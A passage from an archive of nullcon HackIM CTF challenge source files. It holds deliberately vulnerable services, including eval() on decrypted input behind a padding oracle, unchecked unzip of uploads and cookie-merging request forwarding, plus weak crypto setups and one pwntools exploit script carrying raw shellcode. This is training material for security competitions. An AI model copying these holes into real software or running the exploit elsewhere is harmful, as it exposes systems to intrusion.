_descriptor.MethodDescriptor(
name='Logout',
full_name='tamuctf.EchoService.Logout',
index=1,
containing_service=None,
input_type=_SERVICEUSER,
output_type=_REPLY,
options=None,
),
_descriptor.MethodDescriptor(
name='SendEcho',
full_name='tamuctf.EchoService.SendEcho',
index=2,
containing_service=None,
input_type=_REQUEST,
output_type=_REPLY,
options=None,
),
_descriptor.MethodDescriptor(
name='ReceiveEcho',
full_name='tamuctf.EchoService.ReceiveEcho',
index=3,
containing_service=None,
input_type=_SERVICEUSER,
output_type=_REPLY,
options=None,
),
])
_sym_db.RegisterServiceDescriptor(_ECHOSERVICE)
DESCRIPTOR.services_by_name['EchoService'] = _ECHOSERVICE
# @@protoc_insertion_point(module_scope)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/pwn/spygame/setup.py | ctfs/nullconHackIM/2023-Berlin/pwn/spygame/setup.py | from distutils.core import setup, Extension
def main():
setup(name="spy",
version="1.0.0",
description="Spy Game Module",
author="Louis Burda",
author_email="quent.burda@gmail.com",
ext_modules=[Extension("spy", ["spymodule.c"])])
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/pwn/spygame/game.py | ctfs/nullconHackIM/2023-Berlin/pwn/spygame/game.py | #!/usr/bin/env python3
import spy
from secret import flag
print("Lets play a simple game!");
print("");
print("I'll give you a list of numbers, and you need to spy with");
print("your little eye which two numbers in the list are swapped");
print("as fast as possible!");
print("");
while True:
print("--- New Game ---")
print()
mode = input("Easy or Hard? ")
if mode.strip().lower() == "hard":
result = spy.hard()
elif mode.strip().lower() == "easy":
result = spy.easy()
else:
break
if result == "REWARD":
print("Wow, you are really good. You deserve a reward!")
print("Here is a flag for you troubles:", flag)
elif result == "MOTIVATE":
print("Not too shabby. Try out the hard mode next!")
else:
print("Sorry, too slow. Better luck next time!")
print()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/crypto/collector/chall.py | ctfs/nullconHackIM/2023-Berlin/crypto/collector/chall.py | from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
from hashlib import sha256
import random
from secret import flag
# Parameters
N = 2048
hLen = 256
def MGF(seed, length):
random.seed(seed)
return [random.randint(0,255) for _ in range(length)]
def pad(stream, bitlength, tag = b''):
seed = sha256(stream).digest()
DB = sha256(tag).digest() + b'\x00' * ((bitlength - 16 - 2*hLen) // 8 - len(stream)) + b'\x01' + stream
mask = MGF(seed, len(DB))
maskedDB = [DB[i] ^ mask[i] for i in range(len(DB))]
seedmask = MGF(bytes_to_long(bytes(maskedDB)), hLen // 8)
masked_seed = [seed[i] ^ seedmask[i] for i in range(hLen // 8)]
EM = [0] + masked_seed + maskedDB
return bytes(EM)
key = RSA.generate(N, e = (1<<(1<<random.randint(0,4))) + 1)
msg = pad(flag, N)
cipher = pow(bytes_to_long(msg), key.e, key.n)
print(key.publickey().export_key())
print(hex(cipher))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/crypto/twin/chall.py | ctfs/nullconHackIM/2023-Berlin/crypto/twin/chall.py | from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long
from binascii import hexlify
from secret import flag
key1 = RSA.import_key(open('key1.pem','rb').read())
key2 = RSA.import_key(open('key2.pem','rb').read())
c1 = pow(bytes_to_long(flag), key1.e, key1.n)
c2 = pow(bytes_to_long(flag), key2.e, key2.n)
writer = open('ciphers','w')
writer.write('%d\n%d' % (c1, c2))
writer.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/crypto/learn_from_your_errors/chall.py | ctfs/nullconHackIM/2023-Berlin/crypto/learn_from_your_errors/chall.py | import numpy as np
from hashlib import sha256
from Crypto.Random import random
import sys
import json
from secret import flag
class OverheatingError(Exception):
pass
# PARAMS
n = 256
TRIGGER_CHANCE = 0.95
MAX_HEAT = 256
# CODE
def random_vector(a,b,n):
return np.array([random.randrange(a,b+1) for _ in range(n)], dtype = np.int32)
class ILWE(object):
"""Instance for the integer-LWE engine."""
def __init__(self, n, seed = None):
self.n = n
self.heat_level = 0
self.s = random_vector(-2,2,n)
def measure(self):
if self.heat_level >= MAX_HEAT:
raise OverheatingError
a = random_vector(-1,1,n)
y = a @ self.s
if np.random.rand() < 1 / (MAX_HEAT - self.heat_level) + 0.03:
y += random.randrange(-16,16)
if np.random.rand() < TRIGGER_CHANCE:
self.heat_level += 1
if self.heat_level == MAX_HEAT:
print('Critical heat level reached')
return a,y
def verify(self,hash_value):
return hash_value == sha256(self.s).hexdigest()
def loop():
inst = ILWE(n)
print('Getting new device...')
while True:
print('1) measure device\n2) provide secret')
sys.stdout.flush()
option = int(sys.stdin.buffer.readline().strip())
if option == 1:
a,y = inst.measure()
print(json.dumps({'a':a.tolist(), 'y':int(y)}))
elif option == 2:
print('Please provide sha256 of the secret in hex:')
hash_value = sys.stdin.buffer.readline().strip().decode()
if inst.verify(hash_value):
print(flag)
else:
raise Exception('Impostor! The correct value was %s' % sha256(inst.s).hexdigest())
else:
print('invalid option')
if __name__ == '__main__':
try:
loop()
except Exception as err:
print(repr(err))
sys.stdout.flush()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/crypto/breaking_news/chall.py | ctfs/nullconHackIM/2023-Berlin/crypto/breaking_news/chall.py | from Crypto.PublicKey import RSA
from secret import flag
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import inverse
from binascii import hexlify
key1 = RSA.import_key(open('key1.pem','rb').read())
key2 = RSA.import_key(open('key2.pem','rb').read())
msg1 = flag[:len(flag)//2]
msg2 = flag[len(flag)//2:]
cryptor = PKCS1_OAEP.new(key1)
c1 = cryptor.encrypt(msg1)
cryptor = PKCS1_OAEP.new(key2)
c2 = cryptor.encrypt(msg2)
writer = open('ciphers','wb')
writer.write(hexlify(c1) + b'\n' + hexlify(c2))
writer.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/crypto/noble_collector/chall.py | ctfs/nullconHackIM/2023-Berlin/crypto/noble_collector/chall.py | from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long
import random
from secret import invitation
# Parameters
N = 2048
male = open('malenames-usa-top1000.txt','r').read().splitlines()
female = open('femalenames-usa-top1000.txt','r').read().splitlines()
family = open('familynames-usa-top1000.txt','r').read().splitlines()
def sample(l, k):
random.shuffle(l)
return ' '.join(l[:k])
def new_guest():
name = ''
gender = random.random()
for _ in range(3):
if random.random() < gender:
name += random.choice(male) + ' '
else:
name += random.choice(female) + ' '
name += random.choice(family)
return name
key = RSA.generate(N, e = (1<<(1<<random.randint(0,4))) + 1)
name = new_guest()
msg = ('Dear %s' % name) + invitation
cipher = pow(bytes_to_long(msg.encode()), key.e, key.n)
print('Invitation for %s' % name)
print(key.publickey().export_key())
print(hex(cipher))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/crypto/bmpass/encrypt.py | ctfs/nullconHackIM/2023-Berlin/crypto/bmpass/encrypt.py | #!/usr/bin/env python3
from Crypto.Cipher import AES
import os, sys
img_in = open(sys.argv[1], "rb").read()
img_in += b'\00' * (16 - (len(img_in) % 16))
cipher = AES.new(os.urandom(16), AES.MODE_ECB)
img_out = cipher.encrypt(img_in)
open(sys.argv[1] + ".enc", "wb+").write(img_out)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/web/reguest/code/backend.py | ctfs/nullconHackIM/2023-Berlin/web/reguest/code/backend.py | import os
from flask import Flask, request, Response
app = Flask(__name__)
@app.route('/whoami')
def whoami():
role = request.cookies.get('role','guest')
really = request.cookies.get('really', 'no')
if role == 'admin':
if really == 'yes':
resp = 'Admin: ' + os.environ['FLAG']
else:
resp = 'Guest: Nope'
else:
resp = 'Guest: Nope'
return Response(resp, mimetype='text/plain')
if __name__ == "__main__":
app.run(host='0.0.0.0', port='8080', debug=False) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/web/reguest/code/app.py | ctfs/nullconHackIM/2023-Berlin/web/reguest/code/app.py | from flask import Flask, Response, request
import requests
import io
app = Flask(__name__)
@app.route('/')
def index():
s = requests.Session()
cookies = {'role': 'guest'}
output = io.StringIO()
output.write("Usage: Look at the code ;-)\n\n")
try:
output.write("Overwriting cookies with default value! This must be secure!\n")
cookies = {**dict(request.cookies), **cookies}
headers = {**dict(request.headers)}
if cookies['role'] != 'guest':
raise Exception("Illegal access!")
r = requests.Request("GET", "http://backend:8080/whoami", cookies=cookies, headers=headers)
prep = r.prepare()
output.write("Prepared request cookies are: ")
output.write(str(prep._cookies.items()))
output.write("\n")
output.write("Sending request...")
output.write("\n")
resp = s.send(prep, timeout=2.0)
output.write("Request cookies are: ")
output.write(str(resp.request._cookies.items()))
output.write("\n\n")
if 'Admin' in resp.content.decode():
output.write("Someone's drunk oO\n\n")
output.write("Response is: ")
output.write(resp.content.decode())
output.write("\n\n")
except Exception as e:
print(e)
output.write("Error :-/" + str(e))
output.write("\n\n")
return Response(output.getvalue(), mimetype='text/plain')
if __name__ == "__main__":
app.run(host='0.0.0.0', port='8080', debug=False) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/web/zpr/code/serve.py | ctfs/nullconHackIM/2023-Berlin/web/zpr/code/serve.py | from functools import partial
import http.server
import re
PORT = 8088
HOST = "0.0.0.0"
http.server.SimpleHTTPRequestHandler._orig_list_directory = http.server.SimpleHTTPRequestHandler.list_directory
def better_list_directory(self, path):
if not re.match(r"^/tmp/data/[0-9a-f]{32}", path):
return None
else:
return self._orig_list_directory(path)
http.server.SimpleHTTPRequestHandler.list_directory = better_list_directory
Handler = partial(http.server.SimpleHTTPRequestHandler, directory="/tmp/data/")
Server = http.server.ThreadingHTTPServer
with Server((HOST, PORT), Handler) as httpd:
httpd.serve_forever() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Berlin/web/zpr/code/app.py | ctfs/nullconHackIM/2023-Berlin/web/zpr/code/app.py | from flask import Flask, Response, request
from werkzeug.utils import secure_filename
from subprocess import check_output
import io
import hashlib
import secrets
import zipfile
import os
import random
import glob
app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1.5 * 1000 # 1kb
@app.route('/', methods=['GET'])
def index():
output = io.StringIO()
output.write("Send me your zipfile as a POST request and I'll make them accessible to you ;-0.")
return Response(output.getvalue(), mimetype='text/plain')
@app.route('/', methods=['POST'])
def upload():
output = io.StringIO()
if 'file' not in request.files:
output.write("No file provided!\n")
return Response(output.getvalue(), mimetype='text/plain')
try:
file = request.files['file']
filename = hashlib.md5(secrets.token_hex(8).encode()).hexdigest()
dirname = hashlib.md5(filename.encode()).hexdigest()
dpath = os.path.join("/tmp/data", dirname)
fpath = os.path.join(dpath, filename + ".zip")
os.mkdir(dpath)
file.save(fpath)
with zipfile.ZipFile(fpath) as zipf:
files = zipf.infolist()
if len(files) > 5:
raise Exception("Too many files!")
total_size = 0
for the_file in files:
if the_file.file_size > 50:
raise Exception("File too big.")
total_size += the_file.file_size
if total_size > 250:
raise Exception("Files too big in total")
check_output(['unzip', '-q', fpath, '-d', dpath])
g = glob.glob(dpath + "/*")
for f in g:
output.write("Found a file: " + f + "\n")
output.write("Find your files at http://...:8088/" + dirname + "/\n")
except Exception as e:
output.write("Error :-/\n")
return Response(output.getvalue(), mimetype='text/plain')
if __name__ == "__main__":
app.run(host='0.0.0.0', port='8080', debug=True) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2018/pwn2-box/exploit.py | ctfs/nullconHackIM/2018/pwn2-box/exploit.py | #!/usr/bin/env python
from pwn import *
with context.quiet:
p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})
'''
generated from exploit.asm
nasm -f bin -o sc exploit.asm
ndisasm -b64 sc
'''
shellcode = '\x48\x8B\x1C\x25\x60\x20\x60\x00\x48\x81\xEB\x50\x72\x0F\x00\x48\x89\xD9\x48\x81\xC1\xC5\xB8\x08\x00\x48\x89\x0C\x25\x00\x21\x60\x00\x48\x89\xD9\x48\x81\xC1\x16\x52\x04\x00\x48\x89\x0C\x25\x08\x21\x60\x00\xEB\x28\x48\x8B\x7D\xD4\x5E\xBA\x7D\x00\x00\x00\xB8\x01\x00\x00\x00\x0F\x05\x48\x8B\x7D\xD4\xBE\x00\x21\x60\x00\xBA\x10\x00\x00\x00\xB8\x01\x00\x00\x00\x0F\x05\xEB\xFE\xE8\xD3\xFF\xFF\xFF\x0A\x88\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42'
p.send(p32(len(shellcode)))
p.send(shellcode)
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2025-Berlin/crypto/Field_trip/chall.py | ctfs/nullconHackIM/2025-Berlin/crypto/Field_trip/chall.py | #!/bin/python3
from hashlib import sha256
from Crypto.Util import number
from Crypto.Cipher import AES
BITS = 224
f = 26959946667150639794667015087019630673637144422540572481103610249993
g = 7
def reduce(a):
while (l := a.bit_length()) > 224:
a ^= f << (l - 225)
return a
def mul(a,b):
res = 0
for i in range(b.bit_length()):
if b & 1:
res ^= a << i
b >>= 1
return reduce(res)
def pow(a,n):
res = 1
exp = a
while n > 0:
if n & 1:
res = mul(res, exp)
exp = mul(exp,exp)
n >>= 1
return res
if __name__ == '__main__':
a = number.getRandomNBitInteger(BITS)
A = pow(g,a)
print(A)
b = number.getRandomNBitInteger(BITS)
B = pow(g,b)
print(B)
K = pow(A,b)
assert K == pow(A,b)
key = sha256(K.to_bytes(28)).digest()
flag = open('../meta/flag.txt','r').read().encode()
print(AES.new(key, AES.MODE_ECB).encrypt(flag + b'\x00' * (16 - len(flag) % 16)).hex())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2025-Berlin/crypto/decryption_execution_service/chall.py | ctfs/nullconHackIM/2025-Berlin/crypto/decryption_execution_service/chall.py | from Crypto.Cipher import AES
import os
import json
class PaddingError(Exception):
pass
flag = open('flag.txt','r').read().strip()
key = os.urandom(16)
def unpad(msg : bytes):
pad_byte = msg[-1]
if pad_byte == 0 or pad_byte > 16: raise PaddingError
for i in range(1, pad_byte+1):
if msg[-i] != pad_byte: raise PaddingError
return msg[:-pad_byte]
def decrypt(cipher : bytes):
if len(cipher) % 16 > 0: raise PaddingError
decrypter = AES.new(key, AES.MODE_CBC, iv = cipher[:16])
msg_raw = decrypter.decrypt(cipher[16:])
return unpad(msg_raw)
if __name__ == '__main__':
while True:
try:
cipher_hex = input('input cipher (hex): ')
if cipher_hex == 'exit': break
cipher = decrypt(bytes.fromhex(cipher_hex))
json_token = json.loads(cipher.decode())
eval(json_token['command'])
except PaddingError:
print('invalid padding')
except (json.JSONDecodeError, UnicodeDecodeError):
print('no valid json')
except:
print('something else went wrong')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2025-Berlin/crypto/Power_tower/chall.py | ctfs/nullconHackIM/2025-Berlin/crypto/Power_tower/chall.py | from Crypto.Cipher import AES
from Crypto.Util import number
# n = number.getRandomNBitInteger(256)
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
primes = [p for p in range(100) if number.isPrime(p)]
int_key = 1
for p in primes: int_key = p**int_key
key = int.to_bytes(int_key % n,32, byteorder = 'big')
flag = open('flag.txt','r').read().strip()
flag += '_' * (-len(flag) % 16)
cipher = AES.new(key, AES.MODE_ECB).encrypt(flag.encode())
print(cipher.hex())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2025-Berlin/crypto/PKCS/chall.py | ctfs/nullconHackIM/2025-Berlin/crypto/PKCS/chall.py | from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
BIT_LEN = 1024
k = RSA.generate(BIT_LEN, e = 3)
flag = open('flag.txt','r').read().encode()
encrypter = PKCS1_v1_5.new(k)
cipher1 = encrypter.encrypt(flag).hex()
cipher2 = encrypter.encrypt(flag).hex()
print(len(flag))
print(k.n)
print(cipher1)
print(cipher2)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2025-Berlin/crypto/Simple_ECDSA/ec.py | ctfs/nullconHackIM/2025-Berlin/crypto/Simple_ECDSA/ec.py | #!/usr/bin/env python3
def inverse(a,n):
return pow(a,-1,n)
class EllipticCurve(object):
def __init__(self, p, a, b, order = None):
self.p = p
self.a = a
self.b = b
self.n = order
def __str__(self):
return 'y^2 = x^3 + %dx + %d modulo %d' % (self.a, self.b, self.p)
def __eq__(self, other):
return (self.a, self.b, self.p) == (other.a, other.b, other.p)
class ECPoint(object):
def __init__(self, curve, x, y, inf = False):
self.x = x % curve.p
self.y = y % curve.p
self.curve = curve
if inf or not self.is_on_curve():
self.inf = True
self.x = 0
self.y = 0
else:
self.inf = False
def is_on_curve(self):
return self.y**2 % self.curve.p == (self.x**3 + self.curve.a*self.x + self.curve.b) % self.curve.p
def copy(self):
return ECPoint(self.curve, self.x, self.y)
def __neg__(self):
return ECPoint(self.curve, self.x, -self.y, self.inf)
def __add__(self, point):
p = self.curve.p
if self.inf:
return point.copy()
if point.inf:
return self.copy()
if self.x == point.x and (self.y + point.y) % p == 0:
return ECPoint(self.curve, 0, 0, True)
if self.x == point.x:
lamb = (3*self.x**2 + self.curve.a) * inverse(2 * self.y, p) % p
else:
lamb = (point.y - self.y) * inverse(point.x - self.x, p) % p
x = (lamb**2 - self.x - point.x) % p
y = (lamb * (self.x - x) - self.y) % p
return ECPoint(self.curve,x,y)
def __sub__(self, point):
return self + (-point)
def __str__(self):
if self.inf: return 'Point(inf)'
return 'Point(%d, %d)' % (self.x, self.y)
def __mul__(self, k):
k = int(k)
base = self.copy()
res = ECPoint(self.curve, 0,0,True)
while k > 0:
if k & 1:
res = res + base
base = base + base
k >>= 1
return res
def __eq__(self, point):
return (self.inf and point.inf) or (self.x == point.x and self.y == point.y)
if __name__ == '__main__':
p = 17
a = -1
b = 1
curve = EllipticCurve(p,a,b)
P = ECPoint(curve, 1, 1)
print(P+P)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2025-Berlin/crypto/Simple_ECDSA/chall.py | ctfs/nullconHackIM/2025-Berlin/crypto/Simple_ECDSA/chall.py | #!/usr/bin/env python3
import os
import sys
import hashlib
from ec import *
def bytes_to_long(a):
return int(a.hex(),16)
#P-256 parameters
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = -3
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
curve = EllipticCurve(p,a,b, order = n)
G = ECPoint(curve, 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
d_a = bytes_to_long(os.urandom(32))
P_a = G * d_a
def hash(msg):
return int(hashlib.md5(msg).hexdigest(), 16)
def sign(msg : bytes, DEBUG = False):
if type(msg) == str: msg = msg.encode()
msg_hash = hash(msg)
while True:
k = bytes_to_long(os.urandom(n.bit_length() >> 3))
R = G*k
if R.inf: continue
x,y = R.x, R.y
r = x % n
s = inverse(k, n) * (msg_hash + d_a) % n
if r == 0 or s == 0: continue
return r,s
def verify(r:int, s:int, msg:bytes, P_a):
r %= n
s %= n
if r == 0 or s == 0: return False
s1 = inverse(s,n)
u = hash(msg) * s1 % n
v = s1 % n
R = G * u + P_a * v
return r % n == R.x % n
def loop():
while True:
option = input('Choose an option:\n1 - get message/signature\n2 - get challenge to sign\n').strip()
if option == '1':
message = os.urandom(32)
print(message.hex())
signature = sign(message)
assert(verify(*signature,message,P_a))
print(signature)
elif option == '2':
challenge = os.urandom(32)
signature = input(f'sign the following challenge {challenge.hex()}\n')
r,s = [int(x) for x in signature.split(',')]
if r == 0 or s == 0:
print("nope")
elif verify(r, s, challenge, P_a):
print(open('flag.txt','r').read())
else:
print('wrong signature')
else:
print('Wrong input format')
if __name__ == '__main__':
print('My public key is:')
print(P_a)
try:
loop()
except Exception as err:
print(repr(err))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2025-Berlin/crypto/A_slice_of_keys/chall.py | ctfs/nullconHackIM/2025-Berlin/crypto/A_slice_of_keys/chall.py | from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
flag = open('flag.txt','r').read().strip().encode()
pad = (16 - len(flag)) % 16
flag = flag + pad * int(16).to_bytes()
key = RSA.generate(2048, e = 1337)
n = key.n
e = key.e
d = key.d
AES_key = int(bin(d)[2:258:2],2).to_bytes(16)
crypter = AES.new(AES_key, AES.MODE_ECB)
cipher = crypter.encrypt(flag)
print(cipher.hex())
for _ in range(128):
user_input = input('(e)ncrypt|(d)ecrypt:<number>\n')
option,m = user_input.split(':')
m = int(m)
if option == 'e':
print(pow(m,e,n))
elif option == 'd':
print(pow(m,d,n))
else:
print('wrong option')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/Sebastians_Secret_Sharing/sss.py | ctfs/nullconHackIM/2023-Goa/crypto/Sebastians_Secret_Sharing/sss.py | #!/usr/bin/env python3
import random
from decimal import Decimal,getcontext
class SeSeSe:
def __init__(self, s, n, t):
self.s = int.from_bytes(s.encode())
self.l = len(s)
self.n = n
self.t = t
self.a = self._a()
def _a(self):
c = [self.s]
for i in range(self.t-1):
a = Decimal(random.randint(self.s+1, self.s*2))
c.append(a)
return c
def encode(self):
s = []
for j in range(self.n):
x = j
px = sum([self.a[i] * x**i for i in range(self.t)])
s.append((x,px))
return s
def decode(self, shares):
assert len(shares)==self.t
secret = Decimal(0)
for j in range(self.t):
yj = Decimal(shares[j][1])
r = Decimal(1)
for m in range(self.t):
if m == j:
continue
xm = Decimal(shares[m][0])
xj = Decimal(shares[j][0])
r *= Decimal(xm/Decimal(xm-xj))
secret += Decimal(yj * r)
return int(round(Decimal(secret),0)).to_bytes(self.l).decode()
if __name__ == "__main__":
getcontext().prec = 256 # beat devision with precision :D
n = random.randint(50,150)
t = random.randint(5,10)
sss = SeSeSe(s=open("flag.txt",'r').read(), n=n, t=t)
shares = sss.encode()
print(f"Welcome to Sebastian's Secret Sharing!")
print(f"I have split my secret into 1..N={sss.n} shares, and you need t={sss.t} shares to recover it.")
print(f"However, I will only give you {sss.t-1} shares :P")
for i in range(1,sss.t):
try:
sid = int(input(f"{i}.: Choose a share: "))
if 1 <= sid <= sss.n:
print(shares[sid % sss.n])
except:
pass
print("Good luck!") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/Counting/counting.py | ctfs/nullconHackIM/2023-Goa/crypto/Counting/counting.py | #!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util import number
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys
from secret import flag
MAX_COUNT = 128
key = RSA.generate(2048, e = 1337)
def loop():
print('My public modulus is:\n%d' % key.n)
print('Let me count how long it takes you to find the flag.')
for counter in range(MAX_COUNT):
message = 'So far we had %03d failed attempts to find the secret flag %s' % (counter, flag)
print(pow(bytes_to_long(message.encode()), key.e, key.n))
print('What is your guess?')
sys.stdout.flush()
guess = sys.stdin.buffer.readline().strip()
if guess.decode() == flag:
print('Congratulations for finding the flag after %03d rounds.' % counter)
sys.stdout.flush()
return
if __name__ == '__main__':
try:
loop()
except Exception as err:
print(repr(err))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor_2/ec.py | ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor_2/ec.py | #!/usr/bin/env python3
from Crypto.Util.number import inverse
class EllipticCurve(object):
def __init__(self, p, a, b, order = None):
self.p = p
self.a = a
self.b = b
self.n = order
def __str__(self):
return 'y^2 = x^3 + %dx + %d modulo %d' % (self.a, self.b, self.p)
def __eq__(self, other):
return (self.a, self.b, self.p) == (other.a, other.b, other.p)
class ECPoint(object):
def __init__(self, curve, x, y, inf = False):
self.x = x % curve.p
self.y = y % curve.p
self.curve = curve
self.inf = inf
if x == 0 and y == 0: self.inf = True
def copy(self):
return ECPoint(self.curve, self.x, self.y)
def __neg__(self):
return ECPoint(self.curve, self.x, -self.y, self.inf)
def __add__(self, point):
p = self.curve.p
if self.inf:
return point.copy()
if point.inf:
return self.copy()
if self.x == point.x and (self.y + point.y) % p == 0:
return ECPoint(self.curve, 0, 0, True)
if self.x == point.x:
lamb = (3*self.x**2 + self.curve.a) * inverse(2 * self.y, p) % p
else:
lamb = (point.y - self.y) * inverse(point.x - self.x, p) % p
x = (lamb**2 - self.x - point.x) % p
y = (lamb * (self.x - x) - self.y) % p
